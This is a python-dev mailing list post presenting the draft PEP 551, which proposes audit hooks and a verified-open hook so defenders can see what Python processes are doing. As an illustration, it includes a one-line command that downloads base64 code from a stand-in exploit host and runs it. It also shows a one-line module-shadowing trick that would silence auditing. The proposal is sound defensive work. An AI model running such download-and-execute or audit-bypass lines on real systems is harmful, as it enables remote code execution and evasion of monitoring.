Hi python-dev, Those of you who were at the PyCon US language summit this year (or who saw the coverage at https://lwn.net/Articles/723823/) may recall that I talked briefly about the ways Python is used by attackers to gain and/or retain access to systems on local networks. I present here PEP 551, which proposes the core changes needed to CPython to allow sysadmins (or those responsible for defending their networks) to gain visibility into the behaviour of Python processes on their systems. It has already gone before security-sig, and has had a few significant enhancements as a result. There was also quite a positive reaction on Twitter after the first posting (I now have a significant number of infosec people watching what I do very carefully... :) ) Since the PEP should be self-describing, I'll leave context to its text. I believe it is ready for discussion, though there are three incomplete sections. Firstly, the list of audit locations is not yet complete, but is sufficient for the purposes of discussion (I expect to spend time at the upcoming dev sprints arguing about these in ridiculous detail). Second, the performance analysis has not yet been completed with sufficient robustness to make a concrete statement about its impact. Preliminary tests show negligible impact in the normal case, and the "opted-in" case is the user's responsibility. This also relies somewhat on the list of hooks being complete and the implementation having stabilised. Third, the section on recommendations is not settled. It is hard to recommend approaches in what is very much an evolving field, so I am constantly revising parts of this to keep it all restricted to those things enabled by or affected by this PEP. I am *not* trying to present a full guide on how to prevent attackers breaching your system :) My current implementation is available at: https://github.com/zooba/cpython/tree/sectrans The github rendered version of this file is at: https://github.com/python/peps/blob/master/pep-0551.rst (The one on python.org will update at some point, but is a little behind the version in the repo.) Cheers, Steve ----------------------------------------------------------------------------- PEP: 551 Title: Security transparency in the Python runtime Version: $Revision$ Last-Modified: $Date$ Author: Steve Dower <steve.dower@python.org> Discussions-To: <security-sig@python.org> Status: Draft Type: Standards Track Content-Type: text/x-rst Created: 23-Aug-2017 Python-Version: 3.7 Post-History: 24-Aug-2017 (security-sig) Abstract ======== This PEP describes additions to the Python API and specific behaviors for the CPython implementation that make actions taken by the Python runtime visible to security and auditing tools. The goals in order of increasing importance are to prevent malicious use of Python, to detect and report on malicious use, and most importantly to detect attempts to bypass detection. Most of the responsibility for implementation is required from users, who must customize and build Python for their own environment. We propose two small sets of public APIs to enable users to reliably build their copy of Python without having to modify the core runtime, protecting future maintainability. We also discuss recommendations for users to help them develop and configure their copy of Python. Background ========== Software vulnerabilities are generally seen as bugs that enable remote or elevated code execution. However, in our modern connected world, the more dangerous vulnerabilities are those that enable advanced persistent threats (APTs). APTs are achieved when an attacker is able to penetrate a network, establish their software on one or more machines, and over time extract data or intelligence. Some APTs may make themselves known by maliciously damaging data (e.g., `WannaCrypt <https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/WannaCrypt>`_) or hardware (e.g., `Stuxnet <https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?name=Win32/Stuxnet>`_). Most attempt to hide their existence and avoid detection. APTs often use a combination of traditional vulnerabilities, social engineering, phishing (or spear-phishing), thorough network analysis, and an understanding of misconfigured environments to establish themselves and do their work. The first infected machines may not be the final target and may not require special privileges. For example, an APT that is established as a non-administrative user on a developer’s machine may have the ability to spread to production machines through normal deployment channels. It is common for APTs to persist on as many machines as possible, with sheer weight of presence making them difficult to remove completely. Whether an attacker is seeking to cause direct harm or hide their tracks, the biggest barrier to detection is a lack of insight. System administrators with large networks rely on distributed logs to understand what their machines are doing, but logs are often filtered to show only error conditions. APTs that are attempting to avoid detection will rarely generate errors or abnormal events. Reviewing normal operation logs involves a significant amount of effort, though work is underway by a number of companies to enable automatic anomaly detection within operational logs. The tools preferred by attackers are ones that are already installed on the target machines, since log messages from these tools are often expected and ignored in normal use. At this point, we are not going to spend further time discussing the existence of APTs or methods and mitigations that do not apply to this PEP. For further information about the field, we recommend reading or watching the resources listed under `Further Reading`_. Python is a particularly interesting tool for attackers due to its prevalence on server and developer machines, its ability to execute arbitrary code provided as data (as opposed to native binaries), and its complete lack of internal auditing. This allows attackers to download, decrypt, and execute malicious code with a single command:: python -c "import urllib.request, base64; exec(base64.b64decode(urllib.request.urlopen('http://my-exploit/py.b64')).decode())" This command currently bypasses most anti-malware scanners that rely on recognizable code being read through a network connection or being written to disk (base64 is often sufficient to bypass these checks). It also bypasses protections such as file access control lists or permissions (no file access occurs), approved application lists (assuming Python has been approved for other uses), and automated auditing or logging (assuming Python is allowed to access the internet or access another machine on the local network from which to obtain its payload). General consensus among the security community is that totally preventing attacks is infeasible and defenders should assume that they will often detect attacks only after they have succeeded. This is known as the "assume breach" mindset. [1]_ In this scenario, protections such as sandboxing and input validation have already failed, and the important task is detection, tracking, and eventual removal of the malicious code. To this end, the primary feature required from Python is security transparency: the ability to see what operations the Python runtime is performing that may indicate anomalous or malicious use. Preventing such use is valuable, but secondary to the need to know that it is occurring. To summarise the goals in order of increasing importance: * preventing malicious use is valuable * detecting malicious use is important * detecting attempts to bypass detection is critical One example of a scripting engine that has addressed these challenges is PowerShell, which has recently been enhanced towards similar goals of transparency and prevention. [2]_ Generally, application and system configuration will determine which events within a scripting engine are worth logging. However, given the value of many logs events are not recognized until after an attack is detected, it is important to capture as much as possible and filter views rather than filtering at the source (see the No Easy Breach video from `Further Reading`_). Events that are always of interest include attempts to bypass auditing, attempts to load and execute code that is not correctly signed or access-controlled, use of uncommon operating system functionality such as debugging or inter-process inspection tools, most network access and DNS resolution, and attempts to create and hide files or configuration settings on the local machine. To summarize, defenders have a need to audit specific uses of Python in order to detect abnormal or malicious usage. Currently, the Python runtime does not provide any ability to do this, which (anecdotally) has led to organizations switching to other languages. The aim of this PEP is to enable system administrators to deploy a security transparent copy of Python that can integrate with their existing auditing and protection systems. On Windows, some specific features that may be enabled by this include: * Script Block Logging [3]_ * DeviceGuard [4]_ * AMSI [5]_ * Persistent Zone Identifiers [6]_ * Event tracing (which includes event forwarding) [7]_ On Linux, some specific features that may be integrated are: * gnupg [8]_ * sd_journal [9]_ * OpenBSM [10]_ * syslog [11]_ * auditd [12]_ * SELinux labels [13]_ * check execute bit on imported modules On macOS, some features that may be used with the expanded APIs are: * OpenBSM [10]_ * syslog [11]_ Overall, the ability to enable these platform-specific features on production machines is highly appealing to system administrators and will make Python a more trustworthy dependency for application developers. Overview of Changes =================== True security transparency is not fully achievable by Python in isolation. The runtime can audit as many events as it likes, but unless the logs are reviewed and analyzed there is no value. Python may impose restrictions in the name of security, but usability may suffer. Different platforms and environments will require different implementations of certain security features, and organizations with the resources to fully customize their runtime should be encouraged to do so. The aim of these changes is to enable system administrators to integrate Python into their existing security systems, without dictating what those systems look like or how they should behave. We propose two API changes to enable this: an Audit Hook and Verified Open Hook. Both are not set by default, and both require modifications to the entry point binary to enable any functionality. For the purposes of validation and example, we propose a new ``spython``/``spython.exe`` entry point program that enables some basic functionality using these hooks. **However, security-conscious organizations are expected to create their own entry points to meet their own needs.** Audit Hook ---------- In order to achieve security transparency, an API is required to raise messages from within certain operations. These operations are typically deep within the Python runtime or standard library, such as dynamic code compilation, module imports, DNS resolution, or use of certain modules such as ``ctypes``. The new APIs required for audit hooks are:: # Add an auditing hook sys.addaudithook(hook: Callable[str, tuple]) -> None int PySys_AddAuditHook(int (*hook)(const char *event, PyObject *args)); # Raise an event with all auditing hooks sys.audit(str, *args) -> None int PySys_Audit(const char *event, PyObject *args); # Internal API used during Py_Finalize() - not publicly accessible void _Py_ClearAuditHooks(void); Hooks are added by calling ``PySys_AddAuditHook()`` from C at any time, including before ``Py_Initialize()``, or by calling ``sys.addaudithook()`` from Python code. Hooks are never removed or replaced, and existing hooks have an opportunity to refuse to allow new hooks to be added (adding an audit hook is audited, and so preexisting hooks can raise an exception to block the new addition). When events of interest are occurring, code can either call ``PySys_Audit()`` from C (while the GIL is held) or ``sys.audit()``. The string argument is the name of the event, and the tuple contains arguments. A given event name should have a fixed schema for arguments, and both arguments are considered a public API (for a given x.y version of Python), and thus should only change between feature releases with updated documentation. When an event is audited, each hook is called in the order it was added with the event name and tuple. If any hook returns with an exception set, later hooks are ignored and *in general* the Python runtime should terminate. This is intentional to allow hook implementations to decide how to respond to any particular event. The typical responses will be to log the event, abort the operation with an exception, or to immediately terminate the process with an operating system exit call. When an event is audited but no hooks have been set, the ``audit()`` function should include minimal overhead. Ideally, each argument is a reference to existing data rather than a value calculated just for the auditing call. As hooks may be Python objects, they need to be freed during ``Py_Finalize()``. To do this, we add an internal API ``_Py_ClearAuditHooks()`` that releases any ``PyObject*`` hooks that are held, as well as any heap memory used. This is an internal function with no public export, but it triggers an event for all audit hooks to ensure that unexpected calls are logged. See `Audit Hook Locations`_ for proposed audit hook points and schemas, and the `Recommendations`_ section for discussion on appropriate responses. Verified Open Hook ------------------ Most operating systems have a mechanism to distinguish between files that can be executed and those that can not. For example, this may be an execute bit in the permissions field, or a verified hash of the file contents to detect potential code tampering. These are an important security mechanism for preventing execution of data or code that is not approved for a given environment. Currently, Python has no way to integrate with these when launching scripts or importing modules. The new public API for the verified open hook is:: # Set the handler int Py_SetOpenForExecuteHandler(PyObject *(*handler)(const char *narrow, const wchar_t *wide)) # Open a file using the handler os.open_for_exec(pathlike) The ``os.open_for_exec()`` function is a drop-in replacement for ``open(pathlike, 'rb')``. Its default behaviour is to open a file for raw, binary access - any more restrictive behaviour requires the use of a custom handler. (Aside: since ``importlib`` requires access to this function before the ``os`` module has been imported, it will be available on the ``nt``/``posix`` modules, but the intent is that other users will access it through the ``os`` module.) A custom handler may be set by calling ``Py_SetOpenForExecuteHandler()`` from C at any time, including before ``Py_Initialize()``. When ``open_for_exec()`` is called with a handler set, the handler will be passed the processed narrow or wide path, depending on platform, and its return value will be returned directly. The returned object should be an open file-like object that supports reading raw bytes. This is explicitly intended to allow a ``BytesIO`` instance if the open handler has already had to read the file into memory in order to perform whatever verification is necessary to determine whether the content is permitted to be executed. Note that these handlers can import and call the ``_io.open()`` function on CPython without triggering themselves. If the handler determines that the file is not suitable for execution, it should raise an exception of its choice, as well as raising any other auditing events or notifications. All import and execution functionality involving code from a file will be changed to use ``open_for_exec()`` unconditionally. It is important to note that calls to ``compile()``, ``exec()`` and ``eval()`` do not go through this function - an audit hook that includes the code from these calls will be added and is the best opportunity to validate code that is read from the file. Given the current decoupling between import and execution in Python, most imported code will go through both ``open_for_exec()`` and the log hook for ``compile``, and so care should be taken to avoid repeating verification steps. .. note:: The use of ``open_for_exec()`` by ``importlib`` is a valuable first defence, but should not be relied upon to prevent misuse. In particular, it is easy to monkeypatch ``importlib`` in order to bypass the call. Auditing hooks are the primary way to achieve security transparency, and are essential for detecting API Availability ---------------- While all the functions added here are considered public and stable API, the behavior of the functions is implementation specific. The descriptions here refer to the CPython implementation, and while other implementations should provide the functions, there is no requirement that they behave the same. For example, ``sys.addaudithook()`` and ``sys.audit()`` should exist but may do nothing. This allows code to make calls to ``sys.audit()`` without having to test for existence, but it should not assume that its call will have any effect. (Including existence tests in security-critical code allows another vector to bypass auditing, so it is preferable that the function always exist.) ``os.open_for_exec(pathlike)`` should at a minimum always return ``_io.open(pathlike, 'rb')``. Code using the function should make no further assumptions about what may occur, and implementations other than CPython are not required to let developers override the behavior of this function with a hook. Audit Hook Locations ==================== Calls to ``sys.audit()`` or ``PySys_Audit()`` will be added to the following operations with the schema in Table 1. Unless otherwise specified, the ability for audit hooks to abort any listed operation should be considered part of the rationale for including the hook. .. csv-table:: Table 1: Audit Hooks :header: "API Function", "Event Name", "Arguments", "Rationale" :widths: 2, 2, 3, 6 ``PySys_AddAuditHook``, ``sys.addaudithook``, "", "Detect when new audit hooks are being added." ``_PySys_ClearAuditHooks``, ``sys._clearaudithooks``, "", "Notifies hooks they are being cleaned up, mainly in case the event is triggered unexpectedly. This event cannot be aborted." ``Py_SetOpenForExecuteHandler``, ``setopenforexecutehandler``, "", "Detects any attempt to set the ``open_for_execute`` handler." "``compile``, ``exec``, ``eval``, ``PyAst_CompileString``, ``PyAST_obj2mod`` ", ``compile``, "``(code, filename_or_none)``", "Detect dynamic code compilation, where ``code`` could be a string or AST. Note that this will be called for regular imports of source code, including those that were opened with ``open_for_exec``." "``exec``, ``eval``, ``run_mod``", ``exec``, "``(code_object,)``", "Detect dynamic execution of code objects. This only occurs for explicit calls, and is not raised for normal function invocation." ``import``, ``import``, "``(module, filename, sys.path, sys.meta_path, sys.path_hooks)``", "Detect when modules are imported. This is raised before the module name is resolved to a file. All arguments other than the module name may be ``None`` if they are not used or available." ``code_new``, ``code.__new__``, "``(bytecode, filename, name)``", "Detect dynamic creation of code objects. This only occurs for direct instantiation, and is not raised for normal compilation." "``_ctypes.dlopen``, ``_ctypes.LoadLibrary``", ``ctypes.dlopen``, " ``(module_or_path,)``", "Detect when native modules are used." ``_ctypes._FuncPtr``, ``ctypes.dlsym``, "``(lib_object, name)``", "Collect information about specific symbols retrieved from native modules." ``_ctypes._CData``, ``ctypes.cdata``, "``(ptr_as_int,)``", "Detect when code is accessing arbitrary memory using ``ctypes``" ``id``, ``id``, "``(id_as_int,)``", "Detect when code is accessing the id of objects, which in CPython reveals information about memory layout." ``sys._getframe``, ``sys._getframe``, "``(frame_object,)``", "Detect when code is accessing frames directly" ``sys._current_frames``, ``sys._current_frames``, "", "Detect when code is accessing frames directly" ``PyEval_SetProfile``, ``sys.setprofile``, "", "Detect when code is injecting trace functions. Because of the implementation, exceptions raised from the hook will abort the operation, but will not be raised in Python code. Note that ``threading.setprofile`` eventually calls this function, so the event will be audited for each thread." ``PyEval_SetTrace``, ``sys.settrace``, "", "Detect when code is injecting trace functions. Because of the implementation, exceptions raised from the hook will abort the operation, but will not be raised in Python code. Note that ``threading.settrace`` eventually calls this function, so the event will be audited for each thread." ``_PyEval_SetAsyncGenFirstiter``, ``sys.set_async_gen_firstiter``, "", " Detect changes to async generator hooks." ``_PyEval_SetAsyncGenFinalizer``, ``sys.set_async_gen_finalizer``, "", " Detect changes to async generator hooks." ``_PyEval_SetCoroutineWrapper``, ``sys.set_coroutine_wrapper``, "", "Detect changes to the coroutine wrapper." ``Py_SetRecursionLimit``, ``sys.setrecursionlimit``, "``(new_limit,)``", " Detect changes to the recursion limit." ``_PyEval_SetSwitchInterval``, ``sys.setswitchinterval``, "``(interval_us,)`` ", "Detect changes to the switching interval." "``socket.bind``, ``socket.connect``, ``socket.connect_ex``, ``socket.getaddrinfo``, ``socket.getnameinfo``, ``socket.sendmsg``, ``socket.sendto``", ``socket.address``, "``(address,)``", "Detect access to network resources. The address is unmodified from the original call." ``socket.__init__``, "socket()", "``(family, type, proto)``", "Detect creation of sockets. The arguments will be int values." ``socket.gethostname``, ``socket.gethostname``, "", "Detect attempts to retrieve the current host name." ``socket.sethostname``, ``socket.sethostname``, "``(name,)``", "Detect attempts to change the current host name. The name argument is passed as a bytes object." "``socket.gethostbyname``, ``socket.gethostbyname_ex``", " ``socket.gethostbyname``", "``(name,)``", "Detect host name resolution. The name argument is a str or bytes object." ``socket.gethostbyaddr``, ``socket.gethostbyaddr``, "``(address,)``", "Detect host resolution. The address argument is a str or bytes object." ``socket.getservbyname``, ``socket.getservbyname``, "``(name, protocol)``", " Detect service resolution. The arguments are str objects." ``socket.getservbyport``, ``socket.getservbyport``, "``(port, protocol)``", " Detect service resolution. The port argument is an int and protocol is a str." "," ``type.__setattr__``","``(type, attr_name, value)``","Detect monkey patching of types. This event is only raised when the object is an instance of ``type``." "``_PyObject_GenericSetAttr``, ``check_set_special_type_attr``, ``object_set_class``",``object.__setattr__``,"``(object, attr, value)``"," Detect monkey patching of objects. This event is raised for the ``__class__`` attribute and any attribute on ``type`` objects." ``_PyObject_GenericSetAttr``,``object.__delattr__``,"``(object, attr)``"," Detect deletion of object attributes. This event is raised for any attribute on ``type`` objects." ``Unpickler.find_class``,``pickle.find_class``,"``(module_name, global_name)``","Detect imports and global name lookup when unpickling." TODO - more hooks in ``_socket``, ``_ssl``, others? * code objects * function objects SPython Entry Point =================== A new entry point binary will be added, called ``spython.exe`` on Windows and ``spythonX.Y`` on other platforms. This entry point is intended primarily as an example, as we expect most users of this functionality to implement their own entry point and hooks (see `Recommendations`_). It will also be used for tests. Source builds will build ``spython`` by default, but distributions should not include it except as a test binary. The python.org managed binary distributions will not include ``spython``. **Do not accept most command-line arguments** The ``spython`` entry point requires a script file be passed as the first argument, and does not allow any options. This prevents arbitrary code execution from in-memory data or non-script files (such as pickles, which can be executed using ``-m pickle <path>``. Options ``-B`` (do not write bytecode), ``-E`` (ignore environment variables) and ``-s`` (no user site) are assumed. If a file with the same full path as the process with a ``._pth`` suffix (``spython._pth`` on Windows, ``spythonX.Y._pth`` on Linux) exists, it will be used to initialize ``sys.path`` following the rules currently described `for Windows <https://docs.python.org/3/using/windows.html#finding-modules>`_. When built with ``Py_DEBUG``, the ``spython`` entry point will allow a ``-i`` option with no other arguments to enter into interactive mode, with audit messages being written to standard error rather than a file. This is intended for testing and debugging only. **Log security events to a file** Before initialization, ``spython`` will set an audit hook that writes events to a local file. By default, this file is the full path of the process with a ``.log`` suffix, but may be overridden with the ``SPYTHONLOG`` environment variable (despite such overrides being explicitly discouraged in `Recommendations`_). The audit hook will also abort all ``sys.addaudithook`` events, preventing any other hooks from being added. **Restrict importable modules** Also before initialization, ``spython`` will set an open-for-execute hook that validates all files opened with ``os.open_for_exec``. This implementation will require all files to have a ``.py`` suffix (thereby blocking the use of cached bytecode), and will raise a custom audit event ``spython.open_for_exec`` containing ``(filename, True_if_allowed)``. On Windows, the hook will also open the file with flags that prevent any other process from opening it with write access, which allows the hook to perform additional validation on the contents with confidence that it will not be modified between the check and use. Compilation will later trigger a ``compile`` event, so there is no need to read the contents now for AMSI, but other validation mechanisms such as DeviceGuard [4]_ should be performed here. **Restrict globals in pickles** The ``spython`` entry point will abort all ``pickle.find_class`` events that use the default implementation. Overrides will not raise audit events unless explicitly added, and so they will continue to be allowed. Performance Impact ================== **TODO** Full impact analysis still requires investigation. Preliminary testing shows that calling ``sys.audit`` with no hooks added does not significantly affect any existing benchmarks, though targeted microbenchmarks can observe an impact. Performance impact using ``spython`` or with hooks added are not of interest here, since this is considered opt-in functionality. Recommendations =============== Specific recommendations are difficult to make, as the ideal configuration for any environment will depend on the user's ability to manage, monitor, and respond to activity on their own network. However, many of the proposals here do not appear to be of value without deeper illustration. This section provides recommendations using the terms **should** (or **should not**), indicating that we consider it dangerous to ignore the advice, and **may**, indicating that for the advice ought to be considered for high value systems. The term **sysadmins** refers to whoever is responsible for deploying Python throughout your network; different organizations may have an alternative title for the responsible people. Sysadmins **should** build their own entry point, likely starting from the ``spython`` source, and directly interface with the security systems available in their environment. The more tightly integrated, the less likely a vulnerability will be found allowing an attacker to bypass those systems. In particular, the entry point **should not** obtain any settings from the current environment, such as environment variables, unless those settings are otherwise protected from modification. Audit messages **should not** be written to a local file. The ``spython`` entry point does this for example and testing purposes. On production machines, tools such as ETW [7]_ or auditd [12]_ that are intended for this purpose should be used. The default ``python`` entry point **should not** be deployed to production machines, but could be given to developers to use and test Python on non-production machines. Sysadmins **may** consider deploying a less restrictive version of their entry point to developer machines, since any system connected to your network is a potential target. Sysadmins **may** deploy their own entry point as ``python`` to obscure the fact that extra auditing is being included. Python deployments **should** be made read-only using any available platform functionality after deployment and during use. On platforms that support it, sysadmins **should** include signatures for every file in a Python deployment, ideally verified using a private certificate. For example, Windows supports embedding signatures in executable files and using catalogs for others, and can use DeviceGuard [4]_ to validate signatures either automatically or using an ``open_for_exec`` hook. Sysadmins **should** log as many audited events as possible, and **should** copy logs off of local machines frequently. Even if logs are not being constantly monitored for suspicious activity, once an attack is detected it is too late to enable auditing. Audit hooks **should not** attempt to preemptively filter events, as even benign events are useful when analyzing the progress of an attack. (Watch the "No Easy Breach" video under `Further Reading`_ for a deeper look at this side of things.) Most actions **should not** be aborted if they could ever occur during normal use or if preventing them will encourage attackers to work around them. As described earlier, awareness is a higher priority than prevention. Sysadmins **may** audit their Python code and abort operations that are known to never be used deliberately. Audit hooks **should** write events to logs before attempting to abort. As discussed earlier, it is more important to record malicious actions than to prevent them. Sysadmins **should** identify correlations between events, as a change to correlated events may indicate misuse. For example, module imports will typically trigger the ``import`` auditing event, followed by an ``open_for_exec`` call and usually a ``compile`` event. Attempts to bypass auditing will often suppress some but not all of these events. So if the log contains ``import`` events but not ``compile`` events, investigation may be necessary. The first audit hook **should** be set in C code before ``Py_Initialize`` is called, and that hook **should** unconditionally abort the ``sys.addloghook`` event. The Python interface is primarily intended for testing and development. To prevent audit hooks being added on non-production machines, an entry point **may** add an audit hook that aborts the ``sys.addloghook`` event but otherwise does nothing. On production machines, a non-validating ``open_for_exec`` hook **may** be set in C code before ``Py_Initialize`` is called. This prevents later code from overriding the hook, however, logging the ``setopenforexecutehandler`` event is useful since no code should ever need to call it. Using at least the sample ``open_for_exec`` hook implementation from ``spython`` is recommended. Since ``importlib``'s use of ``open_for_exec`` may be easily bypassed with monkeypatching, an audit hook **should** be used to detect attribute changes on type objects. [TODO: more good advice; less bad advice] Rejected Ideas ============== Separate module for audit hooks ------------------------------- The proposal is to add a new module for audit hooks, hypothetically ``audit``. This would separate the API and implementation from the ``sys`` module, and allow naming the C functions ``PyAudit_AddHook`` and ``PyAudit_Audit`` rather than the current variations. Any such module would need to be a built-in module that is guaranteed to always be present. The nature of these hooks is that they must be callable without condition, as any conditional imports or calls provide more opportunities to intercept and suppress or modify events. Given its nature as one of the most core modules, the ``sys`` module is somewhat protected against module shadowing attacks. Replacing ``sys`` with a sufficiently functional module that the application can still run is a much more complicated task than replacing a module with only one function of interest. An attacker that has the ability to shadow the ``sys`` module is already capable of running arbitrary code from files, whereas an ``audit`` module can be replaced with a single statement:: import sys; sys.modules['audit'] = type('audit', (object,), {'audit': lambda *a: None, 'addhook': lambda *a: None}) Multiple layers of protection already exist for monkey patching attacks against either ``sys`` or ``audit``, but assignments or insertions to ``sys.modules`` are not audited. This idea is rejected because it makes substituting ``audit`` calls throughout all callers near trivial. Flag in sys.flags to indicate "secure" mode ------------------------------------------- The proposal is to add a value in ``sys.flags`` to indicate when Python is running in a "secure" mode. This would allow applications to detect when some features are enabled and modify their behaviour appropriately. Currently there are no guarantees made about security by this PEP - this section is the first time the word "secure" has been used. Security **transparency** does not result in any changed behaviour, so there is no appropriate reason for applications to modify their behaviour. Both application-level APIs ``sys.audit`` and ``os.open_for_exec`` are always present and functional, regardless of whether the regular ``python`` entry point or some alternative entry point is used. Callers cannot determine whether any hooks have been added (except by performing side-channel analysis), nor do they need to. The calls should be fast enough that callers do not need to avoid them, and the sysadmin is responsible for ensuring their added hooks are fast enough to not affect application performance. The argument that this is "security by obscurity" is valid, but irrelevant. Security by obscurity is only an issue when there are no other protective mechanisms; obscurity as the first step in avoiding attack is strongly recommended (see `this article <https://danielmiessler.com/study/security-by-obscurity/>`_ for discussion). This idea is rejected because there are no appropriate reasons for an application to change its behaviour based on whether these APIs are in use. Further Reading =============== **Redefining Malware: When Old Terms Pose New Threats** By Aviv Raff for SecurityWeek, 29th January 2014 This article, and those linked by it, are high-level summaries of the rise of APTs and the differences from "traditional" malware. `<http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats>`_ **Anatomy of a Cyber Attack** By FireEye, accessed 23rd August 2017 A summary of the techniques used by APTs, and links to a number of relevant whitepapers. `<https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html>`_ **Automated Traffic Log Analysis: A Must Have for Advanced Threat Protection** By Aviv Raff for SecurityWeek, 8th May 2014 High-level summary of the value of detailed logging and automatic analysis. `<http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection>`_ **No Easy Breach: Challenges and Lessons Learned from an Epic Investigation** Video presented by Matt Dunwoody and Nick Carr for Mandiant at SchmooCon 2016 Detailed walkthrough of the processes and tools used in detecting and removing an APT. `<https://archive.org/details/No_Easy_Breach>`_ **Disrupting Nation State Hackers** Video presented by Rob Joyce for the NSA at USENIX Enigma 2016 Good security practices, capabilities and recommendations from the chief of NSA's Tailored Access Operation. `<https://www.youtube.com/watch?v=bDJb8WOJYdA>`_ References ========== .. [1] Assume Breach Mindset, `<http://asian-power.com/node/11144>`_ .. [2] PowerShell Loves the Blue Team, also known as Scripting Security and Protection Advances in Windows 10, `<https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/>`_ .. [3] `<https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html>`_ .. [4] `<https://aka.ms/deviceguard>`_ .. [5] AMSI, `<https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx>`_ .. [6] Persistent Zone Identifiers, `<https://msdn.microsoft.com/en-us/library/ms537021(v=vs.85).aspx>`_ .. [7] Event tracing, `<https://msdn.microsoft.com/en-us/library/aa363668(v=vs.85).aspx>`_ .. [8] `<https://www.gnupg.org/>`_ .. [9] `<https://www.systutorials.com/docs/linux/man/3-sd_journal_send/>`_ .. [10] `<http://www.trustedbsd.org/openbsm.html>`_ .. [11] `<https://linux.die.net/man/3/syslog>`_ .. [12] `<http://security.blogoverflow.com/2013/01/a-brief-introduction-to-auditd/>`_ .. [13] SELinux access decisions `<http://man7.org/linux/man-pages/man3/avc_entry_ref_init.3.html>`_ Acknowledgments =============== Thanks to all the people from Microsoft involved in helping make the Python runtime safer for production use, and especially to James Powell for doing much of the initial research, analysis and implementation, Lee Holmes for invaluable insights into the info-sec field and PowerShell's responses, and Brett Cannon for the grounding discussions. Copyright ========= Copyright (c) 2017 by Microsoft Corporation. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.0 or later (the latest version is presently available at http://www.opencontent.org/openpub/).